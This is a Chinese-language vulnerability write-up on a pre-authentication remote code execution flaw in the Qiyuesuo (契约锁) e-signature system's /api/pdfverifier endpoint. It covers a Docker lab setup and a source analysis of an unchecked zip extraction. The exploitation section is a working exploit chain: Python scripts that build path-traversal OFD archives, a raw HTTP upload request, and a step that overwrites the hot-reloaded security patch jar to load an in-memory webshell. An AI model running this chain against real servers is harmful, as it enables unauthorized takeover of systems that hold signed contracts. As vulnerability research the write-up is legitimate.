pdfverifier 前台RCE

声明

本文版权归原作者所有,未经允许禁止转载。

影响版本

4.3.8 <= 契约锁 <= 5.x.x && 补丁版本 < 2.1.8  
4.0.x <= 契约锁 <= 4.3.7 && 补丁版本 < 1.3.8

环境搭建

契约锁版本为 4.3.9, 这里使用Linux部署,教程参考:契约锁集群环境部署(两节点为例)_实施步骤_契约锁电子签约解决方案_数字化办公-华为云

使用 Docker 搭建:

docker
├─ docker-compose.yml
├─ my.cnf
├─ src # 源码
├─ limits.conf

可以修改 bash start.sh all,以启动部分服务:

docker-compose.yml

networks:
  qiyuesuo-network:
    driver: bridge
    ipam:
      config:
        - subnet: 172.31.250.0/24
          gateway: 172.31.250.254
 
services:
  qiyuesuo-mysql:
    container_name: qiyuesuo-mysql
    environment:
      - TZ=Asia/Shanghai
      - MYSQL_DATABASE=qiyuesuo
      - MYSQL_USER=qiyuesuo
      - MYSQL_PASSWORD=123456
      - MYSQL_ROOT_PASSWORD=123456
    image: mysql:5.7.44
    volumes:
      - ./my.cnf:/etc/mysql/conf.d/mysql.cnf
      - ./mysql/data:/var/lib/mysql
    command: --character-set-server=utf8mb4 --collation-server=utf8mb4_unicode_ci
    networks:
      qiyuesuo-network:
        ipv4_address: 172.31.250.2
 
  qiyuesuo:
    image: crpi-r2ta923g837syaja.cn-hangzhou.personal.cr.aliyuncs.com/redteam-images/centos:7.9
    container_name: qiyuesuo
    ports:
      - "9180:9180"
      - "9181:9181"
      - "9182:9182"
      - "5005:5005"
    environment:
      - TZ=Asia/Shanghai
    volumes:
      - ./src:/app
      - ./limits.conf:/etc/security/limits.conf
    ulimits:
      nproc:
        soft: 65536
        hard: 65536
      nofile:
        soft: 65536
        hard: 65536
    command: >
      bash -c "
      if ! id qiyuesuo > /dev/null 2>&1; then
        useradd -m -s /bin/bash qiyuesuo &&
        echo qiyuesuo:123456 | chpasswd &&
        echo 'qiyuesuo ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers
      fi &&
      su - qiyuesuo -c '
        cd /app/bin && yes | bash start.sh all
      ' &&
      tail -f /dev/null
      "
    depends_on:
      - qiyuesuo-mysql
    networks:
      qiyuesuo-network:
        ipv4_address: 172.31.250.1

踩坑

MySQL

要求配置:

my.cnf

[mysqld]
innodb_buffer_pool_size = 4G
max_connections = 1000
transaction_isolation = READ-COMMITTED
character-set-server=utf8mb4
collation-server=utf8mb4_unicode_ci

系统要求

qiyuesuo用户支持打开的最大文件数和最大进程数:

limits.conf

qiyuesuo soft nofile 65535
qiyuesuo hard nofile 65535
qiyuesuo soft nproc 65535
qiyuesuo hard nproc 65535

开启调试端口

bin/setenv.shprivappJVM_OPTS 添加以下条目:

-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005

漏洞分析

漏洞接口如下:

/api/pdfverifier

入口:

源码路径:libs\classes\sign\com\qiyuesuo\api\PdfVerifierController.class

判断前台校验是否开启,默认开启,将文件字节数据及文件后缀传入 doVerify 方法,方法体如下:

验证 pdfofd 后缀,并分别对 pdfofd 进行不同的验证逻辑,漏洞触发点在 ofd 的验证逻辑中,将 ofd 文件字节数据传入到 isOFD 方法中,方法体如下:

判断是否为 ofd 文件类型,如果是则获取文件临时目录,调用 FileZipUtils.decompre(),并将 ofd 路径及解压路径传入,方法体如下:

ofd 文件以 zip 方式进行解析,并读取每个文件及目录进行解压,解压目录通过 decompreDirectory + name 进行拼接,存在任意目录穿越,可通过构造恶意 ofd 文件实现任意文件上传。

漏洞复现

文件上传

构造恶意压缩包文件,尝试上传 poc.txt

import zipfile
import os
 
# 输出的ZIP文件名
zip_filename = "test.ofd"
 
# 要写入压缩包的内容
malicious_files = {
    "..\..\..\..\..\..\..\..\..\\tmp\poc.txt": "poc\n",
}
 
# 创建ZIP文件
with zipfile.ZipFile(zip_filename, 'w', zipfile.ZIP_DEFLATED) as zipf:
    for file_path, content in malicious_files.items():
        zipf.writestr(file_path, content)
 
print(f"[+] Created malicious zip file: {zip_filename}")

POC:

POST /api/pdfverifier HTTP/1.1
Host: qiyuesuo.com:9180
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: SID=ffcbba7c-924e-453d-98f3-46a9a34ab025; OSSID=26dd48a0-4a61-4082-a8f3-63d561910ea9; LOGIN_TYPE=QIYUESUO
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarybEnT6oqox4nBBkdC
Content-Length: 346
 
------WebKitFormBoundarybEnT6oqox4nBBkdC
Content-Disposition: form-data; name="file"; filename="test.ofd"
 
<恶意zip文件>
------WebKitFormBoundarybEnT6oqox4nBBkdC--
 

注入内存马

由于契约锁以普通用户运行,因此在 Linux 上利用计划任务、覆写其他系统文件来获取权限几乎不太可用,由于契约锁存安全补丁在服务器上属于热加载,当补丁 jar 包 hash 值发生变化时,则会自动重新加载该补丁包(4.0.X 至 4.3.7 需重启服务才可重新加载补丁),利用该特性可以通过覆盖该补丁包从而代码执行。

注入器类名选择:com.qiyuesuo.security.patch.filter.logic.AXXX,可优先加载(代码加载时按照字母顺序加载):

将生成的内存马 class 文件放入 private-security-patch.jar 中的 com.qiyuesuo.security.patch.filter.logic 下:

ofd 文件生成脚本:

import zipfile
import os
import argparse
 
def main():
    # 解析命令行参数
    parser = argparse.ArgumentParser(description='生成包含指定文件的压缩包')
    parser.add_argument('-p', required=True, help='压缩包内的目标路径(如../../tmp/poc.txt)')
    parser.add_argument('-f', required=True, help='要添加的本地文件路径(private-security-patch.jar)')
 
    
    args = parser.parse_args()
    
    # 输出的压缩包文件名(可根据需要修改)
    output_zip = "evil.ofd"
    
    try:
        # 检查本地文件是否存在
        if not os.path.exists(args.f):
            print(f"错误:本地文件 '{args.f}' 不存在")
            return
        
        # 创建压缩包并添加文件
        with zipfile.ZipFile(output_zip, 'w', zipfile.ZIP_DEFLATED) as zipf:
            # 将本地文件添加到压缩包的指定路径
            zipf.write(args.f, args.p)
        
        print(f"成功生成压缩包:{output_zip}")
        print(f"文件 '{args.f}' 已添加到压缩包路径:{args.p}")
    
    except Exception as e:
        print(f"操作失败:{str(e)}")
 
if __name__ == "__main__":
    main()
 

生成上传:

python ofd.py -p "../../../../../../../../proc/self/cwd/security/private-security-patch.jar" -f "evil.jar"

补丁绕过参考

https://mp.weixin.qq.com/s/u—mcFjhYly74q-Qg3D7jQ

参考链接

https://mp.weixin.qq.com/s/u—mcFjhYly74q-Qg3D7jQ?scene=1

契约锁电子签章系统 pdfverifier rce 前台漏洞分析(从源码分析)-先知社区

契约锁电子签章系统 pdfverifier 远程代码执行漏洞分析(补丁包逆向分析)-先知社区